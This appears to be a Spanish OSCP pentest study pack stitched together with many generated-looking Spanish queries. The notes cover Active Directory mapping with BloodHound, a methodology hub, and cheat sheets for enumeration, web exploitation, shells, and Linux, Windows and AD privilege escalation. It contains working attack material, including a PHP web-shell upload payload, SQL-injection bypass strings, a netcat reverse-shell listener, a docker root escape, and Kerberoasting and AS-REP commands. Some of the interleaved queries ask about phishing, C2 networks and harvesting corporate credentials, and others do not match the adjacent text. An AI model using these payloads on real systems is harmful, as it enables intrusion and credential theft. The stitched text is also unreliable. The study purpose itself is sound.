                                          ▼
                                   ┌──────────────┐
                                   │ workstation42│
                                   └──────┬───────┘
                                          │ HasSession (admin con sesión activa aquí)
                                          ▼
                                   ┌──────────────┐
                                   │ ana          │
                                   └──────┬───────┘
                                          │ MemberOf
                                          ▼
                                   ┌──────────────┐
                                   │ Domain Admins│  ← jackpot
                                   └──────────────┘
```

con qué puedo tener un control total sobre todos los usuarios de mi dominio


qué programa me permite ver si alguien tiene una sesión activa en la red


### Componentes

```
   ┌──────────────────┐         ┌─────────────────┐         ┌──────────────┐
   │ SharpHound (.exe)│  o      │ bloodhound-python│  ────►  │  JSON files  │
   │ corre en víctima │         │ corre en Kali    │         │  con datos AD│
   └──────────────────┘         └─────────────────┘         └──────┬───────┘
                                                                    │
                                                                    ▼
                                                          ┌──────────────────┐
                                                          │ BloodHound GUI   │
                                                          │ (en tu Kali)     │
                                                          │   +              │
                                                          │ Neo4j (base BD)  │
                                                          └──────────────────┘
```

qué herramientas o técnicas sirven para mapear la infraestructura de Active Directory?


con qué programa puedo visualizar las relaciones entre los usuarios y los grupos en un dominio?


- **SharpHound** = el "recolector" que enumera AD. Hay versión `.exe` (subes a víctima) y `.py` (corres desde Kali si ya tienes creds y conectividad).
- **BloodHound GUI** = la interfaz gráfica donde cargas el JSON y haces queries.
- **Neo4j** = la base de datos del grafo (la GUI la necesita).

que programa puedo usar para visualizar las conexiones de dominio activo directorio?


cual es una herramienta que permita mapear la infraestructura de Active Directory desde un script?


necesito una interfaz gráfica para analizar relaciones en Active Directory, cual recomendarías?


# Neo4j (la BD que necesita BloodHound)
sudo apt install -y neo4j
sudo systemctl start neo4j
sudo neo4j-admin set-initial-password 'BloodHound1!'
```

que programa necesito instalar para manejar relaciones complejas de usuarios como en BloodHound?


con que puedo montar un sistema de análisis de grafos y conexiones entre entidades?


cual es una alternativa libre a las herramientas tradicionales de mapeo social


# 1) Recolectar datos desde Kali (necesitas creds válidas)
bloodhound-python -u juan -p 'Password1' -d corp.local -ns 10.10.10.10 -c All

que programa puedo usar para recolectar credenciales de un dominio local?


con que herramienta obtengo los nombres de usuario y contraseñas de una red corporativa?


cual es la alternativa libre a bloodhound-python para mapeo de identidades?


## Resumen TL;DR

| Pregunta | Respuesta |
|---|---|
| ¿Tengo GUI central? | **No**. Tu "GUI" es tener varios terminales abiertos. BloodHound es la única tool con GUI propia. |
| ¿Reverse shell? | `nc` + `Invoke-ConPtyShell` desde la víctima. Lo recibes en `nc -lvnp 4444`. |
| ¿Cómo envío datos? | **Subes** con `python3 -m http.server`. **Recibo** con `impacket-smbserver`. |
| ¿Cómo pivoto? | `ligolo-ng` (proxy en Kali + agent en víctima). Una vez montado, las herramientas tiran por el túnel transparente. |
| ¿BloodHound? | `apt install bloodhound bloodhound.py neo4j`. |
| ¿Mimikatz? | Descargado en `tu carpeta`. Se ejecuta **en la víctima**, no en Kali. |
| ¿Impacket? | Instalado a nivel sistema (`impacket-*`). Corre en Kali, habla con víctimas. |

qué programa me permite visualizar el grafo de credenciales de dominio sin necesidad de instalar bases de datos?


con qué herramienta puedo crear un revers shell usando nc y enviar archivos desde la víctima a mi máquina?


cual es una alternativa libre a bloodhound para mapear las relaciones de privilegios en un entorno corporativo?


# 🗺 OSCP — Mapa Central (MOC)

> Nota hub del vault. Desde aquí salen todos los caminos.
> Origen: apuntes propios en `tu carpeta` + material de un laboratorio.

que herramienta sirve para organizar y gestionar el mapa de ruta OSCP?


cual es una alternativa libre a los mapas centrales (MOC) para el estudio del OSCE?


con que puedo montar un sistema central de apuntes basado en mi carpeta personal?


## La espina dorsal
La Metodología OSCP es lo único que de verdad importa. Todo lo demás cuelga de ella:

```
Enumeración → vector → foothold (Reverse shell) →
Privesc Linux / Privesc Windows → loot (Mimikatz) →
Movimiento lateral / Active Directory → documentar (Reporte OSCP)
```

qué programa sirve para realizar enumeración de servidores?


con qué puedo hacer una conexión inversa o reverse shell?


cuál es la mejor herramienta para moverse lateralmente en redes con Active Directory?


### 🧭 Metodología y examen
- Metodología OSCP · Estructura del examen · Gestión del tiempo
- Reporte OSCP · Reglas de herramientas

qué programa o técnica me ayuda a prepararme para el examen OSCP?


con qué herramienta puedo gestionar mejor mi tiempo durante un examen tipo OSCP?


### 🔍 Enumeración
- Enumeración (índice) · Nmap · Nmap NSE · Puertos olvidados
- SMB · SNMP · Netcat · RDP
- Enumeración web · Content discovery · Vhosts y subdominios
- searchsploit · Trampas de enumeración

que herramienta sirve para encontrar puertos abiertos y servicios en una red?


con qué puedo descubrir subdominios ocultos o vhosts en un sitio web?


cual es una alternativa libre a searchsploit para buscar exploits?


### 🌐 Explotación web
- Hacking web (índice/metodología) · Burp Suite · Burp Repeater e Intruder
- SQL injection · Command injection · Directory traversal · LFI a RCE
- File upload bypass · XSS · SSTI · Authentication attacks

que herramientas sirven para hacer pruebas de vulnerabilidades en web


con que programa puedo realizar inyecciones SQL y ataques de autentificacion


cual es una alternativa libre a Burp Suite para el pentesting


### 🐚 Shells y transferencia
- Puesto de mando Kali · Reverse shell · Estabilizar shell TTY
- Egress filtering · Transferencia de ficheros

que programa sirve para ejecutar un reverse shell desde una consola?


con que herramienta puedo transferir archivos fuera del sistema?


como estabilizo el acceso a la terminal o TTY?


### ⬆ Escalada de privilegios
- Privesc Linux · Privesc Windows · PEASS-ng
- Potato attacks · GTFOBins y LOLBAS

qué herramientas sirven para realizar la escalada de privilegios en sistemas Windows?


con qué puedo probar técnicas de explotación basadas en GTFOBins o LOLBAS?


cuáles son las mejores alternativas libres para escalar privilegios en Linux?


### 🏰 Active Directory
- Active Directory (índice) · Kerberos · Kerberoasting · AS-REP Roasting
- Mimikatz · Impacket · BloodHound
- Pass-the-Hash · DCSync · Golden Ticket · Silver Ticket · secretsdump
- Movimiento lateral · Pivoting ligolo-ng
- GPP cpassword · LAPS · ACL abuses

que herramienta puedo usar para obtener credenciales de dominio con Kerberos?


cual es una tecnica efectiva para el movimiento lateral y pivoteo en una red corporativa?


como montaria un ataque Golden Ticket o Silver Ticket para robar sesiones del dominio?


### 🧪 Avanzado / Post-explotación
- Buffer Overflow · Metasploit · msfvenom
- Tunneling · Cracking de contraseñas · Exploits conocidos
- AV evasion · Client-side attacks

qué programa puedo usar para generar payloads de buffer overflow?


con qué herramienta puedo realizar ataques client-side contra antivirus?


cual es una alternativa libre a Metasploit para la post-explotación?


### ⌨ Cheatsheets de shell
- Operadores Bash · Operadores PowerShell
- Port scanner PowerShell · Bucles bash sobre IPs

¿qué herramienta puedo usar para escanear puertos en Windows?


necesito un script rápido para revisar puertos abiertos, ¿con qué?


# Conocimiento

Metodología de pentesting y Linux que **viene con el repo**, para que un clon
recién hecho ya sepa de estas cosas sin depender de los apuntes privados de
nadie. `indexa.py` lo indexa junto a las man pages y el glosario.

Son apuntes propios (estilo OSCP) organizados por fase —enumeración, explotación
web, shells, escalada de privilegios, Active Directory, cheatsheets, avanzado—
con los comandos que se usan de verdad. Usan marcadores como `TU_IP` en vez de
direcciones reales; están limpios de datos personales (sin hosts, credenciales,
rutas ni referencias privadas).

`06 - Cheatsheets/Comandos de herramientas.md` reúne las invocaciones más usadas
de las herramientas que no traen man page (ffuf, sqlmap, la suite impacket,
netexec, hydra, evil-winrm...). `09 - Manuales/` va un paso más allá: es la salida
de `--help` de esas mismas herramientas, cosechada con `../manuales.py` de la
propia herramienta instalada y limpia de rutas. Entre las dos cosas —la
invocación común y la referencia completa de opciones— el modelo tiene el manual
que la man page no da. Si instalas una herramienta más, corre `manuales.py` y
manda el `.md` nuevo: es un buen commit.

qué herramientas de pentesting vienen ya preinstaladas en este repo?


con qué puedo aprender a hacer enumeración, explotación web y escalada de privilegios sin buscar apuntes privados?


necesito comandos limpios para ffuf, sqlmap e impacket con sus man pages completas, ¿qué me ofrece este material?


Es la parte del RAG que SÍ se publica: el conocimiento genérico. Los apuntes
personales del usuario (su `saber.jsonl`, su diario) no se suben —ver
[../../../PRIVACIDAD.md](../../../PRIVACIDAD.md)—; este pack los complementa, y en
la máquina del usuario se solapan y el deduplicado de `busca.py` los colapsa.

Añadir o corregir metodología aquí es un buen commit: es Markdown, se indexa
solo, y mejora a todo el que clone.

que herramienta sirve para crear documentación genérica compartida en proyectos de código abierto?


cual programa permite añadir conocimientos técnicos sin publicar datos personales privados?


con que puedo generar contenido de metodología que mejore automáticamente la documentación pública?


# Trucos y Trampas — OSCP / Pentest

> Compilado de cultura pública (TJ Null, ippsec, 0xdf, Heath Adams, /r/oscp, HackTricks, foros HTB).
> **No** son contenidos del Discord privado de OffSec ni material bajo NDA.
> Son **anti-rabbit-holes**, **detalles olvidados** y **patrones que se repiten** en máquinas estilo OSCP.

---

que programa hay para desmontar particiones NTFS antiguas


con que puedo montar un disco sin sistema de archivos


cual es una alternativa libre a los trucos de montaje estándar


## Trampas de enumeración (donde la gente pierde 4 horas)

```
─ Olvidar UDP ────────────────────────────────────────────
   nmap -sU --top-ports 50 -T4 IP
   SNMP (161), TFTP (69), NTP (123) suelen dar oro

─ Olvidar puertos altos ──────────────────────────────────
   nmap solo escanea top 1000 por defecto
   SIEMPRE: nmap -p- --min-rate=5000 IP  (los 65535)

─ Olvidar vhosts/subdominios ─────────────────────────────
   Si te encuentras "default Apache page", prueba:
   gobuster vhost -u http://IP -w /usr/share/seclists/Discovery/DNS/...
   ffuf -H "Host: FUZZ.objetivo.htb" -u http://IP

─ /etc/hosts no actualizado ──────────────────────────────
   Si la web carga rara o redirige, mira el "Host:" header
   Añade el dominio a /etc/hosts SIEMPRE que aparezca

─ HTTPS revela hostnames ─────────────────────────────────
   openssl s_client -connect IP:443
   El cert te puede chivar el dominio real

─ Wordlists pequeñas ─────────────────────────────────────
   common.txt = junior level
   Para OSCP: raft-large-words.txt, directory-list-2.3-medium.txt
   gobuster -w /usr/share/seclists/Discovery/Web-Content/raft-large-...
```

---

que herramienta sirve para escanear todos los puertos de una dirección IP


cual es un programa para descubrir nombres de host ocultos o subdominios en una web


## Trampas web

```
─ "robots.txt es perezoso" ───────────────────────────────
   Mira también: sitemap.xml, .git/, .svn/, .htaccess,
   .DS_Store, backup/, old/, dev/, test/, admin/

─ Source HTML / JS ───────────────────────────────────────
   Ctrl+U siempre. Comentarios con creds, paths, endpoints
   JS embebidos con APIs ocultas (LinkFinder, JSparser)

─ LFI → RCE ──────────────────────────────────────────────
   Si tienes LFI básico, prueba:
     /proc/self/environ          (con User-Agent malicioso)
     /var/log/apache2/access.log (poison + curl con UA payload)
     php://filter/convert.base64-encode/resource=index.php
     data://, expect://, phar:// (PHP wrappers)

─ Upload "filtrado" ──────────────────────────────────────
   Doble extensión: shell.php.jpg, shell.phtml, .phar, .pht
   Magic bytes: GIF89a;<?php system($_GET['c']); ?>
   Burp → cambia Content-Type a image/jpeg
   .htaccess para reasignar handler

─ SQLi sin sqlmap ────────────────────────────────────────
   Aprende manual primero. sqlmap a veces miente.
   Para login: ' OR '1'='1'-- - (con space-doble-dash-space)
   Time-based: ' AND SLEEP(5)-- -
```

---

que herramientas uso para encontrar archivos ocultos en el servidor como .git o .htaccess


como puedo inyectar código PHP usando filtros de archivo para obtener shell remota


que tecnica manual sirvo para hacer SQLi sin usar sqlmap


## Trampas de shell

```
─ Shell rota = tortura ────────────────────────────────────
   python3 -c 'import pty; pty.spawn("/bin/bash")'
   Ctrl+Z
   stty raw -echo; fg
   export TERM=xterm
   stty rows 40 columns 120
   (rows/cols los sacas con "stty size" en TU kali)

─ Listener equivocado ────────────────────────────────────
   nc clásico para Linux victim
   ncat --ssl para evitar IDS
   stty raw -echo + nc para Windows ConPtyShell

─ Egress filtering ───────────────────────────────────────
   El firewall del objetivo bloquea ciertos puertos
   PRUEBA: 80, 443, 8080, 53, 4444. Si nada, ICMP shell.
```

---

que herramienta sirve para conectar una shell rota con el objetivo en Kali?


cual es la mejor manera de probar si las salidas (egress) del firewall están bloqueando mis conexiones?


con que puedo evitar que los sistemas de detección de intrusiones (IDS) me detecten cuando escucho puertos?


## Privesc Linux — los 10 olvidados

```
1.  SUID exóticos     → find / -perm -4000 2>/dev/null
                        (y luego GTFOBins cada uno)
2.  sudo -l           → SIEMPRE primero, sin password
3.  Capabilities      → getcap -r / 2>/dev/null
                        (cap_setuid en python/perl = root)
4.  Cron escribibles  → cat /etc/crontab, /var/spool/cron
                        Scripts que tú puedes editar
5.  Wildcard injection→ "tar czf /backup/* " con file --checkpoint
6.  PATH abuse        → si un script SUID llama "ps" sin ruta
                        absoluta, creas ./ps malicioso
7.  NFS no_root_squash→ showmount -e ; montas y subes SUID
8.  Docker group      → si estás en grupo "docker", eres root:
                        docker run -v /:/mnt -it alpine chroot /mnt
9.  Kernel exploits   → último recurso. DirtyCow, DirtyPipe
                        (uname -a; searchsploit kernel x.x)
10. Caps de archivo   → /var/backups, /etc/passwd escribible,
                        /etc/shadow legible
```

---

qué herramientas puedo usar para descubrir permisos SUID ocultos en un servidor Linux?


cómo verifico si tengo capacidades de root accesibles mediante scripts cron o PATH abuse?


cual es el mejor enfoque paso a paso para auditar vectores de privilegio como NFS, Docker o inyección de comodines?


que programa hay para montar un ataque de phishing en Windows?


con que puedo crear una red C2 oculta para Windows?


cuales son las herramientas para escaneo de puertos remotos?


```
1.  whoami /priv      → busca SeImpersonate, SeAssignPrimaryToken
                        → JuicyPotato, PrintSpoofer, GodPotato
2.  Unquoted services → wmic service get name,pathname,startmode
                        Path con espacios sin comillas + carpeta
                        escribible = exe propio
3.  AlwaysInstallElev → reg query HKLM\Software\Policies\Microsoft\
                        Windows\Installer
                        Si ambos = 1 → msi propio = SYSTEM
4.  Service permisos  → accesschk.exe -uwcqv user *
                        SERVICE_CHANGE_CONFIG = ownership
5.  Credenciales en disco→ recurse find:
                        Unattend.xml, sysprep.inf, web.config,
                        cmdkey /list, registry SAM/SYSTEM
6.  AutoLogon en regis→ HKLM\SOFTWARE\Microsoft\Windows NT\
                        CurrentVersion\Winlogon
7.  Pass spraying     → la misma pass del user normal contra
                        admin, administrator, sa, sysadmin
8.  WSL / OpenSSH server → veces hay credenciales en .bash_history
9.  Scheduled tasks   → schtasks /query /fo LIST /v
                        Tareas con scripts editables
10. UAC bypass + token impersonation
```

---

con qué puedo ver si un programa tiene permisos de ejecución como sistema?


qué herramienta me ayuda a encontrar contraseñas guardadas en archivos de configuración o registros?


cómo verifico si hay tareas programadas con scripts editables para ejecutar comandos?


## Active Directory — los 7 caminos que SIEMPRE pruebas

```
1.  Anonymous SMB     → smbclient -L //IP -N
                        nxc smb IP -u "" -p ""
2.  AS-REP Roasting   → impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass
                        (usuarios con "Do not require pre-auth")
3.  Kerberoasting     → impacket-GetUserSPNs dominio/user:pass -request
                        (cuentas de servicio con SPN)
4.  GPP cpassword     → buscar en \\DC\SYSVOL\<dom>\Policies\
                        Groups.xml con cpassword (rotos en clave AES fija)
5.  LAPS              → nxc ldap IP -u u -p p --module laps
6.  ACL abuses        → BloodHound te los pinta:
                        GenericAll, WriteDACL, AddMember, ForceChangePassword
7.  DCSync            → con permisos DS-Replication, dumpear todo el dominio
```

---

con que programa puedo rolear contraseñas en modo anónimo usando SMB?


qué herramienta me sirve para obtener usuarios mediante AS-REP Roasting sin contraseña?


que software es necesario para extraer claves de servicio Kerberos a través de SPN?


## Trampas de "examen real" (anti-pánico)

```
─ Time management ────────────────────────────────────────
   24h ≠ 24h. Duermes 6h. Comes. Te duchas.
   Regla: 1.5h sin progreso = cambia de máquina.
   Cierra y vuelve más tarde con cabeza fresca.

─ Documentación EN VIVO ──────────────────────────────────
   Captura TODO con Flameshot/Greenshot mientras lo haces.
   No al final. Al final no recuerdas el comando exacto.
   Cada flag con hostname visible (ipconfig/ifconfig).
   local.txt = user proof, proof.txt = root proof.

─ Reutilización de credenciales ──────────────────────────
   La pass del usuario A muchas veces vale para usuario B.
   PRUEBA siempre cada pass que pillas contra TODOS los hosts.

─ El AD set es 40 puntos seguidos ────────────────────────
   3 máquinas encadenadas. Si te atascas en máquina 1,
   no avanzas en 2 y 3. Empieza por ahí con tiempo.

─ Standalones independientes ─────────────────────────────
   3 máquinas independientes de 20pts cada una.
   user (10pt) + root (20pt). Saca user de las 3
   ANTES de obsesionarte con root de una.

que programa sirve para grabar la pantalla mientras resuelvo un examen real?


con que puedo documentar en tiempo real las acciones de un CTF?


cual es una técnica anti-pánico para no quedarme sin ideas en los primeros puntos de un reto?


─ Reporte cuenta ─────────────────────────────────────────
   Sin reporte, no apruebas, aunque saques 100 puntos
   técnicos. 24h después del examen. Markdown template:
   https://github.com/noraj/OSCP-Exam-Report-Template-Markdown

─ Metasploit limitado ────────────────────────────────────
   Puedes usarlo solo en UNA máquina.
   meterpreter post-explotation no cuenta como "uso"
   solo el initial foothold cuenta.
```

---

que programa sirve para hacer un informe de examen OSCP


con que puedo generar un reporte de auditoría de seguridad en formato markdown


hay alguna herramienta gratuita o alternativa libre para crear reportes técnicos de pruebas